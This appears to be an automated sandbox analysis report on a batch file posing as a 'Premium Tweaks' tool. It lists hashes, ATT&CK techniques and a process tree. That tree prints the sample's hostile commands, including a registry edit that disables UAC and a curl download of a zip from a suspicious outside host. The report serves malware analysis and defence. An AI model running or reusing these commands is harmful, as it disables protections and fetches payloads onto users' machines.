1fe528ffd9622a7ad3c6a7d343db9d4a8f89d948f91f2d685795f3a0c2370352

Analysis

max time kernel
125s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
22/12/2023, 19:56

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General

Target

EXM_Premium_Tweaks_Updated.bat
Size

671KB
MD5

ddf58a74066626c7fee766bc37098b43
SHA1

03ccb5c9bf270f2b7ad1e0b92419e1b7609aebdf
SHA256

1fe528ffd9622a7ad3c6a7d343db9d4a8f89d948f91f2d685795f3a0c2370352
SHA512

1943956adc080c3a0529471997f2ed54fd796ad793ce431760577df8ca17e6b293846a312106c7c39e68e8aa4f3986f653436e67a6de0246ff59cca164c98a09
SSDEEP

3072:aDGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:aDGiVNEn14IZVvisL43

Score

10^/10

evasion trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000006c2b12180e4adb550000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800006c2b12180000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809006c2b1218000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d6c2b1218000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000006c2b121800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1592	powershell.exe
1592	powershell.exe
1064	powershell.exe
1064	powershell.exe
1064	powershell.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeIncreaseQuotaPrivilege	1892	WMIC.exe
Token: SeSecurityPrivilege	1892	WMIC.exe
Token: SeTakeOwnershipPrivilege	1892	WMIC.exe
Token: SeLoadDriverPrivilege	1892	WMIC.exe
Token: SeSystemProfilePrivilege	1892	WMIC.exe
Token: SeSystemtimePrivilege	1892	WMIC.exe
Token: SeProfSingleProcessPrivilege	1892	WMIC.exe
Token: SeIncBasePriorityPrivilege	1892	WMIC.exe
Token: SeCreatePagefilePrivilege	1892	WMIC.exe
Token: SeBackupPrivilege	1892	WMIC.exe
Token: SeRestorePrivilege	1892	WMIC.exe
Token: SeShutdownPrivilege	1892	WMIC.exe
Token: SeDebugPrivilege	1892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1892	WMIC.exe
Token: SeRemoteShutdownPrivilege	1892	WMIC.exe
Token: SeUndockPrivilege	1892	WMIC.exe
Token: SeManageVolumePrivilege	1892	WMIC.exe
Token: 33	1892	WMIC.exe
Token: 34	1892	WMIC.exe
Token: 35	1892	WMIC.exe
Token: 36	1892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1892	WMIC.exe
Token: SeSecurityPrivilege	1892	WMIC.exe
Token: SeTakeOwnershipPrivilege	1892	WMIC.exe
Token: SeLoadDriverPrivilege	1892	WMIC.exe
Token: SeSystemProfilePrivilege	1892	WMIC.exe
Token: SeSystemtimePrivilege	1892	WMIC.exe
Token: SeProfSingleProcessPrivilege	1892	WMIC.exe
Token: SeIncBasePriorityPrivilege	1892	WMIC.exe
Token: SeCreatePagefilePrivilege	1892	WMIC.exe
Token: SeBackupPrivilege	1892	WMIC.exe
Token: SeRestorePrivilege	1892	WMIC.exe
Token: SeShutdownPrivilege	1892	WMIC.exe
Token: SeDebugPrivilege	1892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1892	WMIC.exe
Token: SeRemoteShutdownPrivilege	1892	WMIC.exe
Token: SeUndockPrivilege	1892	WMIC.exe
Token: SeManageVolumePrivilege	1892	WMIC.exe
Token: 33	1892	WMIC.exe
Token: 34	1892	WMIC.exe
Token: 35	1892	WMIC.exe
Token: 36	1892	WMIC.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeBackupPrivilege	1660	vssvc.exe
Token: SeRestorePrivilege	1660	vssvc.exe
Token: SeAuditPrivilege	1660	vssvc.exe
Token: SeBackupPrivilege	4204	srtasks.exe
Token: SeRestorePrivilege	4204	srtasks.exe
Token: SeSecurityPrivilege	4204	srtasks.exe
Token: SeTakeOwnershipPrivilege	4204	srtasks.exe
Token: SeBackupPrivilege	4204	srtasks.exe
Token: SeRestorePrivilege	4204	srtasks.exe
Token: SeSecurityPrivilege	4204	srtasks.exe
Token: SeTakeOwnershipPrivilege	4204	srtasks.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 1288	4084	cmd.exe	88
PID 4084 wrote to memory of 1288	4084	cmd.exe	88
PID 4084 wrote to memory of 1660	4084	cmd.exe	89
PID 4084 wrote to memory of 1660	4084	cmd.exe	89
PID 4084 wrote to memory of 2180	4084	cmd.exe	90
PID 4084 wrote to memory of 2180	4084	cmd.exe	90
PID 4084 wrote to memory of 1592	4084	cmd.exe	91
PID 4084 wrote to memory of 1592	4084	cmd.exe	91
PID 4084 wrote to memory of 4464	4084	cmd.exe	97
PID 4084 wrote to memory of 4464	4084	cmd.exe	97
PID 4084 wrote to memory of 4316	4084	cmd.exe	96
PID 4084 wrote to memory of 4316	4084	cmd.exe	96
PID 4084 wrote to memory of 400	4084	cmd.exe	98
PID 4084 wrote to memory of 400	4084	cmd.exe	98
PID 400 wrote to memory of 1892	400	cmd.exe	99
PID 400 wrote to memory of 1892	400	cmd.exe	99
PID 400 wrote to memory of 1368	400	cmd.exe	100
PID 400 wrote to memory of 1368	400	cmd.exe	100
PID 4084 wrote to memory of 2940	4084	cmd.exe	101
PID 4084 wrote to memory of 2940	4084	cmd.exe	101
PID 4084 wrote to memory of 4036	4084	cmd.exe	110
PID 4084 wrote to memory of 4036	4084	cmd.exe	110
PID 4084 wrote to memory of 1064	4084	cmd.exe	111
PID 4084 wrote to memory of 1064	4084	cmd.exe	111
PID 4084 wrote to memory of 1100	4084	cmd.exe	126
PID 4084 wrote to memory of 1100	4084	cmd.exe	126
PID 4084 wrote to memory of 2232	4084	cmd.exe	127
PID 4084 wrote to memory of 2232	4084	cmd.exe	127
PID 4084 wrote to memory of 5056	4084	cmd.exe	128
PID 4084 wrote to memory of 5056	4084	cmd.exe	128

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaks_Updated.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:1288
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:1660
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:4316
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:1368
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2940
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -Command "Checkpoint-Computer -Description 'Exm Premium Restore Point' -RestorePointType 'MODIFY_SETTINGS'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1064
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1100
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:2232
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://anime-girl.hacked-your.tech/content/cdn/WkXASIbAfYeb/exm.zip"
  2⤵
  PID:5056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hwzutnlv.qul.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1064-31-0x000002539F450000-0x000002539F460000-memory.dmp

Filesize
64KB

Download
memory/1064-27-0x00007FFE360D0000-0x00007FFE36B91000-memory.dmp

Filesize
10.8MB

Download
memory/1064-29-0x000002539F450000-0x000002539F460000-memory.dmp

Filesize
64KB

Download
memory/1064-28-0x000002539F450000-0x000002539F460000-memory.dmp

Filesize
64KB

Download
memory/1064-30-0x00007FFE360D0000-0x00007FFE36B91000-memory.dmp

Filesize
10.8MB

Download
memory/1064-32-0x000002539F450000-0x000002539F460000-memory.dmp

Filesize
64KB

Download
memory/1064-33-0x000002539F450000-0x000002539F460000-memory.dmp

Filesize
64KB

Download
memory/1064-36-0x00007FFE360D0000-0x00007FFE36B91000-memory.dmp

Filesize
10.8MB

Download
memory/1592-11-0x000001EEFDA90000-0x000001EEFDAA0000-memory.dmp

Filesize
64KB

Download
memory/1592-15-0x00007FFE372D0000-0x00007FFE37D91000-memory.dmp

Filesize
10.8MB

Download
memory/1592-12-0x000001EEFDA90000-0x000001EEFDAA0000-memory.dmp

Filesize
64KB

Download
memory/1592-10-0x00007FFE372D0000-0x00007FFE37D91000-memory.dmp

Filesize
10.8MB

Download
memory/1592-7-0x000001EEFDD40000-0x000001EEFDD62000-memory.dmp

Filesize
136KB

Download